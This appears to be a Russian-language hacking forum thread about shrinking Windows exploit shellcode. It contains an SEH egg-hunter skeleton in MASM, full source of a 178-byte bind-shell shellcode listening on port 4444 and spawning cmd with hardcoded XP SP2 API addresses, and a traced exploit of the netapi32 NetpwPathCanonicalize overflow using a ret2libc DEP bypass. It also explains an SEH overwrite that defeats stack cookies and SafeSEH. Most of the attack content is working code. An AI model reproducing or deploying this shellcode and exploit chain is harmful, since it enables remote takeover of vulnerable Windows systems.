Если есть возможность использовать дырку несколько раз, то можно закинуть несколько яиц из которых потом собрать яичницу http://skypher.com/wiki/index.php/Hacking/Shellcode/Egg_hunt/w32_SEH_omelet_shellcode
в общем была такая идея, - использовать код из системных библиотек. например, если найти подходящую цепочку кода где-нибудь в kernel32, то потом можно использовать ее при случае, а не толкать свою в шеллкод... плевать на совместимость и универсальность, шлавное - уменьшить размер! хотя хз как это на деле будет функциональность в духе командной строки, среда - windows, среднестатистический процесс, сервис под svchost... шеллкод в поисках себя... романтично =)
хз. я не спец, но помоему я другое имел ввиду, конкретно - искать определенные последовательности, которые можно было-бы использовать... к примеру, понадобился вот такой код: Код (Text): push 1234 push ecx push 1 push 0 push 0 а в какой-нибудь системной либе удалось найти: Код (Text): push 1234 push ecx push 1 push 0 push 0 call eax можно юзануть соответсно (положив eax адрес возврата), тем самым немного сократив свой код. ну это только к примеру, того что я выше написал, вообще же хотелось узанать какие еще способы есть. с яйцами - шикарно конечно (и есть над чем подумать), но применимость этого метода как мне показалось под вопросом.. хотя если все же подумать...
Можно и так, то же самое примерно выходит. А про яйца вот что: есть смысл использовать, если существует возможность либо разными способами данные в контекст процесса доставлять (ну не обязательно же через уязвимость) или же, в случае когда уязвимость позволяет эксплуатироваться несколько раз. Тогда за N раз загружаете в какой-нибудь "свободный" участок памяти свой код.
+1 к тому чтобы с высокой вероятностью доставить в хип целевого процесса большой кусок кода, а потом в шеллкоде просканировать всю память, найти этот код в памяти по сигнатуре, и передать туда управление размер шеллкода = SEH + поиск строки + размер сигнатуры
один. вобщем-то можно предварительно оставить что-то на стеке и потом выполнить, честно говоря я уже так и сделал =),.. но беспокоит надежность, да и вообще философская сторона дела, - хочется сделать просто и элегантно...
ну SEH то довольно компактный получается, основная масса кода приходится именно на поиск строки (поиск, идентификация, копирование) а еще ведь и сам код положительно необходимо проверить на правильность (crc?), потому как сигнатура то может совпасть (что там, dword сигнатура?) а вот код оказаться левым... небольшой эскиз =) конечно там были исходники, но предпочитаю сам все писать. это то что у меня получилось на тему яичницы, то что НЕ РЕАЛИЗОВАНО - это было... но было вырезано по причине своей большой емкости (и значит непригодности) комментраии? Код (Text): .486 .MODEL FLAT, STDCALL OPTION CASEMAP:NONE OPTION PROLOGUE:NONE OPTION EPILOGUE:NONE INCLUDE \masm32\include\windows.inc EGG_SIGNATURE equ 'e' EGG_SIZE equ 32 ;32 + header ;egg header: ; BYTE signature ; BYTE index ; WORD checksumm ;///////////////////////////////////////////////////////////////////////////// .code EntryPoint PROC ASSUME FS:NOTHING ;*** INSTALL EXCEPTION HANDLER *** xor eax, eax push OFFSET excp ;*** FIX THIS !!! push eax mov fs:[eax], esp ;*** SCAN MEMORY *** scan: xor esi, esi next: mov eax, [esi] inc esi cmp al, EGG_SIGNATURE jne next chck: ;ЗДЕСЬ: ПРОВЕРИТЬ, КОПИРОВАТЬ (НЕ РЕАЛИЗОВАНО) jmp next ;*** EXCEPTION HANDLER *** excp: mov edx, [esp+12] xor eax, eax mov al, 160 ;OFFSET CONTEXT.regEsi add edx, eax cmp BYTE PTR[edx+03], 80h ;esi >= 80000000h ? jae eggs ;try to execute cont: xor eax, eax mov ah, 10h add [edx], eax ;CONTEXT.regEsi + 1000H xor eax, eax ret ;*** SPACE FOR SHELLCODE *** eggs: EntryPoint ENDP end EntryPoint ;/////////////////////////////////////////////////////////////////////////////
еще один шеллкод, имеющий множество недостатков и только одно преимущество, - небольшой размер (178 байт). впрочем до сабжа не дотягивает, но пока это максимум что удалось написать. код зависит от версии длл-ок: ws2_32.dll и kernel32.dll, адреса экспортируемых ими функций зашиваются в тело шеллкода и в этом главное неудобство. за основу взят shell_bind_tcp из metasploit, - развернут и перекроен в целях уменьшения размера (178 против 320), в итоге потерялась все его универсальность... ну, приходится идти на жертвы =) зы. имхо всетаки 40 байт - дохлое дело, ... или задача для супер-кодера. Код (Text): .386 .MODEL FLAT, STDCALL OPTION CASEMAP: NONE OPTION PROLOGUE: NONE OPTION EPILOGUE: NONE ;kernel32.dll (5.1.2600.2180): CreateProcessA equ 7C802367H WaitForSingleObject equ 7C802530H CloseHandle equ 7C809B77H ExitThread equ 7C80CCA9H ;ws2_32.dll (5.1.2600.2180): WSAStartup equ 71A9664DH WSASocketA equ 71A98769H bind equ 71A93E00H ;00 listen equ 71A988D3H accept equ 71AA1028H ;//////////////////////////////////////////////////////////////////////////// .code start: add esp, -204H ;get room for WSADATA push esp push 2 mov eax, WSAStartup call eax push eax push eax push eax push eax push 1 push 2 mov eax, WSASocketA call eax mov ebx, eax xor eax, eax push eax ;inaddr_any mov ax, 5A11H ;htons(4444) add ah, 2 ;-- 5C bad, use 5A+2 shl eax, 16 ;AF_INET add al, 2 ; push eax mov eax, esp push 16 push eax push ebx mov eax, bind + 41H ;-- 00 bad, add 41H sub al, 41H ;****************** call eax push 2 push ebx mov eax, listen call eax push esp push esp push ebx mov eax, accept call eax mov ebp, eax mov edi, esp ;PROCESS_INFORMATION xor ecx, ecx push eax push eax push eax push ecx push ecx push cx dd 01016866h ;push word 0101h push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push ecx push 68 ;sizeof STARTUPINFO mov eax, esp ;STARTUPINFO push "admc" mov [esp+03], cl mov esi, esp ;"cmd" push edi push eax push ecx push ecx push ecx push 1 push ecx push ecx push esi push ecx mov eax, CreateProcessA call eax push -1 ;infinite push [edi] ;processinfo.hProcess mov eax, WaitForSingleObject call eax ;***************** push ebx push ebp push [edi] mov esi, CloseHandle call esi call esi call esi push eax mov eax, ExitThread call eax ;end of story end start ;////////////////////////////////////////////////////////////////////////////
Clerk "Унылости. Куки давно спасли мир." Куки мир не спасли. 1) Не всякий уязвимый код содержит защиту StackCookie. 2) Даже если и есть защита StackCookie, пусть идёт лесом. При переполнении-> Перезаписываем в SEH, указатель на обработчик исключения. Генерируем исключение до проверки StackCookie. Захватываем управление потоком,курим.(SafeSEH также не спасёт,т.к. не все файлы им защищены) В этом случае Stackcookie даже провериться не успеет,т.к. управление потоком уже будет захвачено до проверки,и проц давно гонит внедрённый код.
Nafanya 1. Да не всякий. Но такой код редко уязвим к переполнениям, ибо архитекторы умнее чем вы и предусматривают такие возможности, это касается и RC. 2. Что идёт лесом ? Диспетчер исключений в обоих модах проверяет принадлежность сех модулям. В стеке он его вызывать не будет(в лузермоде можно обойти, в ядре нет).
Clerk 1)"Но такой код редко уязвим к переполнениям, ибо архитекторы умнее " 2)"В стеке он его вызывать не будет" Интересно с умным человеком поспорить! 1) Без защиты Stackcookie. В день написания функции NetpwPathCanonicalize архитектор спал на работе и забыл про StackCookie! Пример -> WIN XP SP2 библиотека netapi32.dll версия 5.1.2600.2180. Уязвимый код: 5BD5A454 . 50 PUSH EAX ; /src 5BD5A455 . 57 PUSH EDI ; |dest 5BD5A456 . FF15 3010D55B CALL DWORD PTR DS:[<&msvcrt.wcscpy>] ; \wcscpy Привожу самое интересное - трассу уязвимого системного процесса svchost.exe - в момент проведения атаки на удалённый хост и захват его управления. Адрес Поток Инструкция 5BD5A46A 00000124 POP EDI 5BD5A46B 00000124 POP ESI 5BD5A46C 00000124 POP EBX 5BD5A46D 00000124 LEAVE ;выход из уязвимой функции,буфер уже переполнен! 5BD5A46E 00000124 RETN 4 ;Далее только ret2libc,код в стеке пока нельзя исполнять. 7C952080 00000124 MOV AL,1 ;al должно быть=1,чтобы обойти DEP 7C952082 00000124 RETN 4 77F426B7 00000124 PUSH ESP 77F426B8 00000124 POP EBP ;Восстановление EBP(шеллкод его повредил) 77F426B9 00000124 RETN 4 7C91D949 00000124 RETN 10 ;Откат по стеку 7C91D949 00000124 RETN 10 7C91D949 00000124 RETN 10 7C91D3F8 00000124 CMP AL,1 ;Начался обход DEP 7C91D3FA 00000124 PUSH 2 7C91D3FC 00000124 POP ESI 7C91D3FD 00000124 JE ntdll.7C93FEBA 7C93FEBA 00000124 MOV DWORD PTR SS:[EBP-4],ESI 7C93FEBD 00000124 JMP ntdll.7C91D403 7C91D403 00000124 CMP DWORD PTR SS:[EBP-4],0 7C91D407 00000124 JNZ ntdll.7C935D6D 7C935D6D 00000124 PUSH 4 7C935D6F 00000124 LEA EAX,DWORD PTR SS:[EBP-4] 7C935D72 00000124 PUSH EAX 7C935D73 00000124 PUSH 22 7C935D75 00000124 PUSH -1 7C935D77 00000124 CALL ntdll.ZwSetInformationProcess 7C935D7C 00000124 JMP ntdll.7C91D441 7C91D441 00000124 POP ESI 7C91D442 00000124 LEAVE 7C91D443 00000124 RETN 4 ;DEP курит->код в стеке исполнять можно! 7C82385D 00000124 CALL ESP 0128F494 00000124 JMP SHORT 0128F4D0 0128F4D0 00000124 FCMOVBE ST,ST(3) ;шеллкод получил управление 2)А в стеке его вызывать и не надо,указатель обработчика исключений нацеливаем на код pop;pop;ret в модуле который не защищён SafeSeh(Защищены не все!). А где Pointer to Next SEH Record, там жёстко забиваем инструкцию прыжка на шеллкод(EB..... или E9......),чтоб шеллкод был переносимым. Так полезная нагрузка(шеллкод) и получит управление. StackCookie - защита от дурачка(случайно переполнил - ввёл больше символов), а если человек перед атакой проводит тщательный анализ уязвимости, делает множество тестов в дружественной LAN на выявление аномального поведения шеллкода и отклонений, а также планирует все свои действия до мелочей,то StackCookie курит на пару с Депом.
Nafanya Допустим имеется стандартный фрейм: - Локальные переменные - Куки - Seh-фрейм - Bp-фрейм Переписали вы при переполнении переменные, далее куки, сех и bp-фрейм, в котором адрес возврата. Но фишка в том, что куки проверяются есчо до возврата и удаления сех-фрейма, так что ваш код никак управление не получит. О каких обходах програмной DEP вы говорите ?